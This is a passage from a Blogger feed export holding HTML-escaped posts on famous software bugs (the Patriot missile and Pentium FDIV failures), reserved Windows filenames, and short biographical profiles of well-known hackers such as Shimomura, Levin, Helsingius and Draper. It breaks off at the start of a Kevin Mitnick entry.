Arabia&lt;/st1:country-region&gt;&lt;/st1:place&gt;, failed to track and intercept an incoming Iraqi Scud missile. The Scud struck an American Army barracks, killing 28 soldiers and injuring around 100 other people. A report of the General Accounting office, GAO/IMTEC-92-26, entitled &lt;cite&gt;Patriot Missile Defense: Software Problem Led to System Failure at Dhahran, Saudi Arabia&lt;/cite&gt; reported on the cause of the failure. It turns out that the cause was an inaccurate calculation of the time since boot due to computer arithmetic errors&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;b style=""&gt;&lt;u&gt;&lt;span style="font-size: 11pt;"&gt;Pentium FDIV bug&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size: 11pt;"&gt;The &lt;b&gt;Pentium FDIV bug&lt;/b&gt; was a bug in Intel's original Pentium floating point unit. Certain floating point division operations performed with these processors would produce incorrect results. According to Intel, there were a few missing entries in the lookup table used by the divide operation algorithm. The flaw was publicly disclosed by Professor Thomas Nicely, then at &lt;st1:place st="on"&gt;&lt;st1:placename st="on"&gt;Lynchburg&lt;/st1:PlaceName&gt;  &lt;st1:placetype st="on"&gt;College&lt;/st1:PlaceType&gt;&lt;/st1:place&gt;, in 1994&lt;sup id="_ref-1"&gt;.&lt;/sup&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size: 11pt;"&gt;Although encountering the flaw was extremely rare in practice (Byte estimated that 1 in 9 billion floating point divides with random parameters would produce inaccurate results), Both the flaw and Intel's handling of the flaw were heavily criticized. Intel ultimately recalled the defective processors.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size: 11pt;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h3&gt;&lt;span style="font-size: 11pt; font-weight: normal;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 11pt;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-8755436550418749412?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/8755436550418749412/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=8755436550418749412' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/8755436550418749412'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/8755436550418749412'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/03/disasters-attributable-to-bad-computing.html' title='Disastrous BUGS !!'/><author><name>mani</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-3603408276980501011</id><published>2007-03-14T10:50:00.000+05:30</published><updated>2007-03-14T11:07:15.644+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='naming'/><category scheme='http://www.blogger.com/atom/ns#' term='conventions'/><category scheme='http://www.blogger.com/atom/ns#' term='directories'/><title type='text'>Weird Directory Names.....!</title><content type='html'>Did you know that Windows does not allow some specific names to be used for Directory names or Filenames? Once, while I was working on my Win-XP box, on a major project, I wanted to note down various conditions that were present in my project at one place. So, I thought of putting all the conditions in a directory. As soon as I created a directory named "CON", it got renamed to "COND". I thought, what happened?? Who pressed the 'D'? So, I again tried renaming it to "CON" and again it was renamed!! I thought to myself, "Am I drunk?? Or, have I been sleeping very less!" So, for the last time, I watched my steps very carefully... I created a new folder and pressed 'C', 'O', 'N' very slowly... And pressed the Return key very gently.... Whoaaaagh!! The name changed automatically to "COND". There was something fishy happening. It was late at night so I slept and planned to Google the case next day.&lt;br /&gt;&lt;br /&gt;What I found the next day, seemed to make me look like a fool! Microsoft had documented a list of words that could not be used as directory names! Many names like, CON, PRN, AUX, NUL, etc could not be used at all! Man.... All this time I was in a delusion! And you must admit... &lt;span style="font-style: italic;"&gt;"Ignorance is bliss....!!"&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Check out the link: &lt;a href="http://msdn2.microsoft.com/en-us/library/aa365247.aspx"&gt;http://msdn2.microsoft.com/en-us/library/aa365247.aspx&lt;/a&gt; &lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-3603408276980501011?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/3603408276980501011/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=3603408276980501011' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/3603408276980501011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/3603408276980501011'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/03/weird-directory-names.html' title='Weird Directory Names.....!'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-1580353030807649837</id><published>2007-03-12T21:25:00.000+05:30</published><updated>2007-03-13T09:46:27.867+05:30</updated><title type='text'>Brief History of world famous "hackers"</title><content type='html'>&lt;span style="font-weight: bold;font-size:100%;" &gt;                                                  &lt;span style="color: rgb(204, 0, 0);"&gt;  Dennis Ritchie and Ken Thompson&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="color: rgb(102, 102, 0);" class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Handles: &lt;span style="color: rgb(51, 51, 255);"&gt;dmr and ken&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;&lt;b&gt;a.k.a.: &lt;/b&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Dennis Ritchie and Ken Thompson&lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Claim to fame:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;The driving creative force behind Bell Labs' legendary computer science operating group, Ritchie and Thompson created UNIX in 1969. An elegant, open operating system for minicomputers, UNIX helped users with general computing, word processing and networking, and soon became a standard language. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Unusual tools:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;Plan 9, the next-generation operating system created as the natural descendant of UNIX by Thompson and Bell Labs colleague Rob Pike. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Little-known fact:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;Although Ritchie is the author of the popular C programming language, his favorite language is Alef. Thompson, an amateur pilot, once traveled to &lt;st1:city st="on"&gt;&lt;st1:place st="on"&gt;Moscow&lt;/st1:place&gt;&lt;/st1:city&gt; to fly a MiG-29. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Check out:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;&lt;a href="http://cm.bell-labs.com/who/dmr/" target="_blank"&gt;http://cm.bell-labs.com/who/dmr/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://cm.bell-labs.com/who/ken/" target="_blank"&gt;http://cm.bell-labs.com/who/ken/&lt;/a&gt;&lt;/span&gt; &lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div class="MsoNormal" style="text-align: center; color: rgb(102, 102, 0);" align="center"&gt;  &lt;hr style="height: 3px;font-size:85%;" align="center"  width="100%"&gt;  &lt;/div&gt;        &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;a name="Tsutomu_Shimomura"&gt;&lt;b&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt;                                                             &lt;span style="color: rgb(204, 0, 0);"&gt;                                                            &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="color: rgb(204, 255, 0); font-weight: bold;font-family:Arial;" &gt;&lt;span style="color: rgb(204, 0, 0);"&gt;Tsutomu Shimomura&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;To state the obvious: Shimomura outhacked and outsmarted Kevin Mitnick, the nation's most infamous cracker/phreaker, in early 1994. After colleagues at the &lt;st1:place style="color: rgb(102, 102, 0);" st="on"&gt;&lt;st1:placename st="on"&gt;San Diego&lt;/st1:placename&gt; &lt;st1:placename st="on"&gt;Supercomputing&lt;/st1:placename&gt; &lt;st1:placetype st="on"&gt;Center&lt;/st1:placetype&gt;&lt;/st1:place&gt;&lt;span style="color: rgb(102, 102, 0);"&gt; informed Shimomura that someone had stolen hundreds of software programs and files from his work station, the computer security expert worked on a tip to track the thief through the WELL. A labyrinthine telco trail eventually led to an apartment complex in &lt;/span&gt;&lt;st1:place style="color: rgb(102, 102, 0);" st="on"&gt;&lt;st1:city st="on"&gt;Raleigh&lt;/st1:city&gt;,  &lt;st1:state st="on"&gt;N.C.&lt;/st1:state&gt;&lt;/st1:place&gt;, where FBI agents apprehended Mitnick. (They've had less luck tracking down Mitnick's alleged Israeli accomplice.) &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;But that's not all: A consultant to the FBI, Air Force and National Security Agency, Shimomura is rumored to have engaged in darkside dabblings himself. As Jon Littman notes, "I've always wondered why he wrote that program to eavesdrop on cell phone calls. Somehow it doesn't sound like an NSA contract." &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;check out:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;&lt;a href="http://www.takedown.com/bio/tsutomu.html" target="_blank"&gt;http://www.takedown.com/bio/tsutomu.html&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt; &lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div class="MsoNormal" style="text-align: center; color: rgb(102, 102, 0);" align="center"&gt;  &lt;hr style="height: 3px;font-size:85%;" align="center"  width="100%"&gt;  &lt;/div&gt;    &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="Vladimir_Levin"&gt;&lt;b&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt;                                                                &lt;span style="color: rgb(153, 0, 0);"&gt;                                                                                &lt;span style="color: rgb(204, 0, 0);"&gt;Vladimir Levin&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color: rgb(153, 102, 51);font-size:100%;" &gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Handle:&lt;/span&gt;&lt;/b&gt;&lt;span style="font-weight: bold;"&gt; &lt;span style="color: rgb(51, 51, 255);"&gt;Uknown&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="color: rgb(153, 102, 51);" class="MsoNormal"&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt; &lt;b&gt;a.k.a.: &lt;/b&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;vladimir levin&lt;/span&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(153, 102, 51);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Claim to fame:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;A graduate of &lt;st1:place st="on"&gt;&lt;st1:placename st="on"&gt;St. Petersburg&lt;/st1:placename&gt;  &lt;st1:placename st="on"&gt;Tekhnologichesky&lt;/st1:placename&gt; &lt;st1:placetype st="on"&gt;University&lt;/st1:placetype&gt;&lt;/st1:place&gt;, this mathematician allegedly masterminded the Russian hacker gang that tricked Citibank's computers into spitting out $10 million. Arrested by Interpol at &lt;st1:place st="on"&gt;&lt;st1:placename st="on"&gt;Heathrow&lt;/st1:placename&gt; &lt;st1:placetype st="on"&gt;Airport&lt;/st1:placetype&gt;&lt;/st1:place&gt; in 1995. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(153, 102, 51);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;First encountered a computer:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;Unknown. Accused of using his office computer at AO Saturn, a &lt;st1:city st="on"&gt;St.  Petersburg&lt;/st1:city&gt;, &lt;st1:country-region st="on"&gt;&lt;st1:place st="on"&gt;Russia&lt;/st1:place&gt;&lt;/st1:country-region&gt;, computer firm, to break into Citibank. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(153, 102, 51);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Unusual tools:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;Along with a computer, computer games and disks, Russian police confiscated a camcorder, music speakers and a TV set from Levin's apartment. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(153, 102, 51);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Little-known fact:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;Levin claimed that one of the lawyers assigned to defend him was actually an FBI agent. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="color: rgb(153, 102, 51);font-size:100%;" &gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Check out:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;&lt;a href="http://www.spb.su/sppress/141/guilty.html" target="_blank"&gt;http://www.spb.su/sppress/141/guilty.html&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt; &lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div class="MsoNormal" style="text-align: center; color: rgb(102, 102, 0);" align="center"&gt;  &lt;hr style="height: 3px;font-size:85%;" align="center"  width="100%"&gt;&lt;span style="color: rgb(204, 0, 0);font-size:100%;" &gt;&lt;a name="Johan_Helsingius"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;        &lt;p style="color: rgb(102, 102, 0);" class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;a name="Johan_Helsingius"&gt;&lt;span style="font-weight: bold;"&gt;Johan Helsingius&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(102, 102, 0);" class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Handle: &lt;span style="color: rgb(51, 51, 255);"&gt;julf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;b&gt;a.k.a.: &lt;/b&gt;&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Johan Helsingius&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Claim to fame:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;Operated the world's most popular anonymous remailer, called penet.fi, until he closed up shop in September 1996. Helsingius' troubles started when he was raided in 1995 by the Finnish police after the &lt;st1:place st="on"&gt;&lt;st1:placetype st="on"&gt;Church&lt;/st1:placetype&gt; of &lt;st1:placename st="on"&gt;Scientology&lt;/st1:placename&gt;&lt;/st1:place&gt; complained that a penet.fi customer was posting the "church's" secrets on the Net. Helsingius mothballed the remailer after a Finnish court ruled he must reveal the customer's real e-mail address. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Unusual tools:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;Ran the world's busiest remailer on a run-of-the mill 486 with a 200-megabyte harddrive. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Little-known fact:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;Never felt the need himself to post anonymously. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Check out:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;Helsingius' personal take on the legal case, at&lt;/span&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://www.cyberpass.net/security" target="_blank"&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt;http://www.cyberpass.net/security&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt; &lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div class="MsoNormal" style="text-align: center; color: rgb(102, 102, 0);" align="center"&gt;  &lt;hr style="height: 3px; font-size: 85%;" align="center" width="100%"&gt;  &lt;/div&gt;    &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="John_Draper"&gt;&lt;b&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt;                                                                                       &lt;span style="color: rgb(255, 0, 0);"&gt;John Draper&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color: rgb(102, 102, 0);font-size:100%;" &gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Handle: &lt;span style="color: rgb(51, 51, 255);"&gt;Cap'n Crunch&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;p style="color: rgb(102, 102, 0);" class="MsoNormal"&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;a.k.a.: &lt;span style="color: rgb(51, 51, 255);"&gt;John Draper&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;font-size:100%;"  &gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Claim to fame:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;Figured out how to make free phone calls using a plastic prize whistle he found in a cereal box. Cap'n Crunch introduced generations of hackers to the glorious concept of phone "phreaking." &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;First encountered a computer:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;As a teenager, trying to convince pay phones to return his coin and put through his calls. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Unusual tools:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;The toy whistle from boxes of Cap'n Crunch cereal. The whistle reproduced the 2600 hertz tone necessary to authorize a call. Used in conjunction with a bluebox, it allowed users to make free phone calls. (Oscar Meyer weiner whistles also briefly gained a following among phone phreakers.) &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Little-known fact:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;Honorably discharged from the U.S. Air Force in 1968 after a stint in &lt;st1:country-region st="on"&gt;&lt;st1:place st="on"&gt;Vietnam&lt;/st1:place&gt;&lt;/st1:country-region&gt;. &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Check out:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;&lt;a href="http://www.webcrunchers.com/crunch" target="_blank"&gt;http://www.webcrunchers.com/crunch&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt; &lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div class="MsoNormal" style="text-align: center; color: rgb(102, 102, 0);" align="center"&gt;  &lt;hr style="height: 3px; font-size: 85%;" align="center" width="100%"&gt;&lt;span style="font-size:100%;"&gt;&lt;a name="Kevin_Mitnick"&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;        &lt;p style="color: rgb(102, 102, 0);" class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;                                                                                &lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;Kevin Mitnick                                   &lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="color: rgb(102, 102, 0);" class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="font-family:Arial;"&gt;Handle: &lt;span style="color: rgb(51, 51, 255);"&gt;Condor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style="color: rgb(204, 255, 0);font-family:Arial;" &gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:100%;"  &gt;&lt;br /&gt;&lt;b&gt;a.k.a.: &lt;span style="color: rgb(51, 51, 255);"&gt;Kevin Mitnick&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(102, 102, 0);"&gt;&lt;span 